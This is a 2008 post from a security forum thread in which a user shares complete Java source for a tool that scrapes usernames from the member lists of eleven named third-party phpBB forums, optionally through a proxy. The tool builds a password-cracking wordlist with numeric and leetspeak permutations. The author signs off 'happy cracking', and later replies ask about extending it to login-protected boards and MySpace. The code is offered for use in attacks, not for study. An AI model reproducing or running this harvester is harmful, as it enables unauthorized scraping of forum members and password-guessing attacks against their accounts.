Waraxe IT Security Portal
Login or Register
January 9, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 187
Members: 0
Total: 187
Full disclosure
KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking
Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Panda3d v1.10.16 Uncontrolled Format String in Panda3D egg-mkfont Allows Stack Memory Disclosure
Panda3d v1.10.16 egg-mkfont Stack Buffer Overflow
Panda3d v1.10.16 deploy-stub Unbounded Stack Allocation Leading to Uninitialized Memory
MongoDB v8.3.0 Integer Underflow in LMDB mdb_load
Bioformats v8.3.0 Untrusted Deserialization of Bio-Formats Memoizer Cache Files
Bioformats v8.3.0 Improper Restriction of XML External Entity Reference in Bio-Formats Leica Microsystems XML Parser
MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load
zlib v1.3.1.2 Global Buffer Overflow in TGZfname() of zlib untgz Utility via Unbounded strcpy() on User-Supplied Archive Name
SigInt-Hombre v1 / dynamic Suricata detection rules from real-time threat feeds
Security Vulnerability in Koller Secret: Real Hidden App(com.koller.secret.hid emyphoto)
Linux Kernel Block Subsystem Vulnerabilities
[KIS-2025-14] PKP-WAL <= 3.5.0-1 Login Cross-Site RequestForgery Vulnerability
[KIS-2025-13] PKP-WAL <= 3.5.0-3 (X-Forwarded-Host) LESS Code Injection Vulnerability
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> Java-based PHPBB Username Grabber
Post new topicReply to topic View previous topic :: View next topic
Java-based PHPBB Username Grabber
PostPosted: Sat Nov 22, 2008 3:09 am Reply with quote
tehhunter
Valuable expert
Valuable expert
Joined: Nov 19, 2008
Posts: 261




Hey guys,

Much like that other guy (who posted his code in php), I also took advice from waraxe and went ahead creating the following code to allow you to easily accumulate words (aka usernames) from phpbb forums. It's simple and easy to add more forums to the list to grab from, but I also added a bunch of forums anyway.

To add more forums to the list, simply copy the code in the main method:
Code:
harvest.add("http://www.yourforumhere.net/memberlist.php");


If it would be easier for some, I can compile it and release it in a zip ready to run. Anyway, have fun with it, and I'll probably continue making more additions soon enough. If you want to make this run in your own Java IDE (I recommend NetBeans by Sun), just make a new project and a class therein called 'RoundUp.java'.

Oooh, and last thing, I also included a method I was working on for generating a new list from the ones you download with permutations, though at this point I would say its unfinished. Still, it gets the job done. Just uncomment one.permutate(); in the main method.

Have fun, and happy cracking!

Code:
/****************************
/ @author tehhunter @ waraxe.us
/***************************/
import java.io.*;
import java.net.*;
import java.util.*;

public class RoundUp
{
private int totalWords;
private String baseSite;
private String siteName;
private String proxyURL;
private ArrayList<String> words;
private int usersPerPage;
private int currentPage;
private int pagesTotal;

public RoundUp(String site)
{
baseSite = site;
words = new ArrayList<String>();
usersPerPage = 0;
currentPage = 1;
pagesTotal = 1;
proxyURL = "http://www.cantblock.me/browse.php?u=";

siteName = baseSite.replace("http://","");
siteName = siteName.replace("www.","");
siteName = siteName.replace(siteName.substring(siteName.indexOf("/"),siteName.length()),"");
System.out.println(siteName);
}

public static void main(String[] args)
{
ArrayList<String> harvest = new ArrayList<String>();
harvest.add("http://rozentul.com/phpBB2//memberlist.php");
harvest.add("http://www.dd-wrt.com/phpBB2/memberlist.php");
harvest.add("http://pleistorm.com/forum/memberlist.php");
harvest.add("http://www.southamptonhc.org/bbs/memberlist.php");
harvest.add("http://www.broenink-art.nl/Aeolus/memberlist.php");
harvest.add("http://www.lindhe.com/boards/memberlist.php");
harvest.add("http://www.radres.org/ECOMradres/timssnet/phpBB2/memberlist.php");
harvest.add("http://sjsbatch1983.7.forumer.com/memberlist.php");
harvest.add("http://www.forum.paris.icao.int/memberlist.php");
harvest.add("http://www.nelp-forum.org.uk/phpBB2/memberlist.php");
harvest.add("http://hkmdb.com/phpbb/memberlist.php");

RoundUp.clearList();
for (int i=0; i<harvest.size(); i++)
{
RoundUp one = new RoundUp(harvest.get(i));
one.collect();
//This method, if uncommented, with generate permutations of the words you create
//one.permutate();
}
}

public void collect()
{
int start=0;
while (currentPage <= pagesTotal)
{
if (currentPage == 1)
System.out.println("-->Retrieving page 1 of ?");
else
System.out.println("-->Retrieving page " + currentPage + " of " + pagesTotal + " (" + usersPerPage*currentPage + " names gathered from this forum)");
if (currentPage != 1)
{
start = currentPage*usersPerPage;
}
try
{
URL url = new URL(baseSite + "?mode=username&order=ASC&start=" + start);
URLConnection conn = url.openConnection();
conn.setReadTimeout(4000);
BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
while ((line=in.readLine()) != null)
if (line.indexOf("profile.php?mode=viewprofile") >= 0)
{
words.add(removeHTML(line));
if (start == 0)
usersPerPage++;
}
else if (line.indexOf("<td><span class=\"nav\">Page <b>1</b> of <b>") >= 0)
{
pagesTotal = Integer.parseInt(removeHTML(line).replace("Page1of",""));
}
}
catch(SocketTimeoutException e)
{
System.out.println(">>>EXCPT: Socket timeout occurred, moving forward");
}
catch (Exception e)
{
System.out.println(e);
}
currentPage++;
try
{
FileWriter out = new FileWriter("words.dic",true);
for (int i=0; i<words.size(); i++)
if (words.get(i).length() <= 11)
out.write(words.get(i).toLowerCase() + "\n");
out.close();
}
catch(Exception e)
{
System.out.println(">>>EXCPT: " + e);
}
}


}

public String removeHTML(String s)
{
s = s.replaceAll(" ;;","");
s = s.replaceAll("&amp;","");
s = s.replaceAll(" ", "");
s = s.replaceAll(" ","");
while ((s.indexOf("<")>=0) && (s.indexOf(">",s.indexOf("<")+1) >= 0))
s = s.replace(s.substring(s.indexOf("<"),s.indexOf(">",s.indexOf("<"))+1),"");
return removeRandoms(removeBrackets(s));
}


public String removeBrackets(String s)
{
while ((s.indexOf("[")>=0) && (s.indexOf("]",s.indexOf("[")+1) >= 0))
s = s.replace(s.substring(s.indexOf("["),s.indexOf("]",s.indexOf("["))+1),"");
return s;
}

public String removeRandoms(String s)
{
for (int i=32; i<48; i++)
s = s.replace((char)i + "","");
return s;
}

public void dump()
{
for (int i=0; i<words.size(); i++)
System.out.println(words.get(i));
}

public void permutate()
{
File words = new File("words.dic");
File newWords = new File("newWords.dic");
if (words.exists())
{
ArrayList<String> permutations = new ArrayList<String>();
try
{
Scanner in = new Scanner(words);
FileWriter out = new FileWriter(newWords);

String word="";
while (in.hasNextLine())
{
word = in.nextLine();
permutations.add(word); //Keep the original
{ //One number added to the end
for (int i=0; i<9; i++)
permutations.add(word + i);
}
{ //Two numbers added to the end
for (int i=0; i<102; i++)
if (i<10)
permutations.add(word + "0" + i);
else
permutations.add(word + i);
}
/*{ //Three numbers added to the end
for (int i=0; i<1020; i++)
if (i<100)
{
if (i<10)
permutations.add(word + "00" + i);
else
permutations.add(word + "0" + i);
}
else
permutations.add(word + i);
}*/
{ //Duplicate word added to the end (e.g. adminadmin, admin.admin) and others...
permutations.add(word + word);
permutations.add(word + "." + word);
permutations.add("." + word);
permutations.add(":" + word);
permutations.add("/" + word);
permutations.add("\\" + word);
permutations.add(word + ".");
permutations.add(word + " ");
}
{ //Replace characters with common counterparts
permutations.add(word.replaceFirst("a", "@"));
permutations.add(word.replaceFirst("a","4"));
permutations.add(word.replaceFirst("l", "1"));
permutations.add(word.replaceFirst("e","3"));
permutations.add(word.replaceFirst("o", "0"));
}
{ //Write permutations to file
for (int j=0; j<permutations.size(); j++)
out.write(permutations.get(j) + "\n");
}
}
}
catch(Exception e)
{
System.out.println(">>>EXCPT: Permutation error, exiting:\n" + e);
System.exit(0);
}

}

}

public static void clearList()
{
try
{
File list = new File("words.dic");
if (list.exists())
{
FileWriter cleaner = new FileWriter(list);
cleaner.write("");
cleaner.close();
}
list = new File("newWords.dic");
if (list.exists())
{
FileWriter cleaner = new FileWriter(list);
cleaner.write("");
cleaner.close();
}
}
catch(Exception e)
{
System.out.println(e);
}
}
}
View user's profile Send private message
PostPosted: Sat Nov 22, 2008 1:25 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Nice job Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Nov 23, 2008 8:17 am Reply with quote
tehhunter
Valuable expert
Valuable expert
Joined: Nov 19, 2008
Posts: 261




waraxe wrote:
Nice job Smile
Thanks waraxe. You wouldn't happen to have any other good ideas of where to harvest good wordlists from would you? I was considering the idea of a MySpace crawler that would just take the user's name from each page and then traveling to linked pages.
View user's profile Send private message
PostPosted: Wed Jul 13, 2011 12:11 pm Reply with quote
haka20
Beginner
Beginner
Joined: Jul 13, 2011
Posts: 1




Works perfect with boards where i dont have to be logged in.

Is it possible to edit the script so i can use it with a phpbb3 board where i have to be logged in to see the memberlist?

for Example:

www.landoflegends.de
View user's profile Send private message
Java-based PHPBB Username Grabber
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.041 Seconds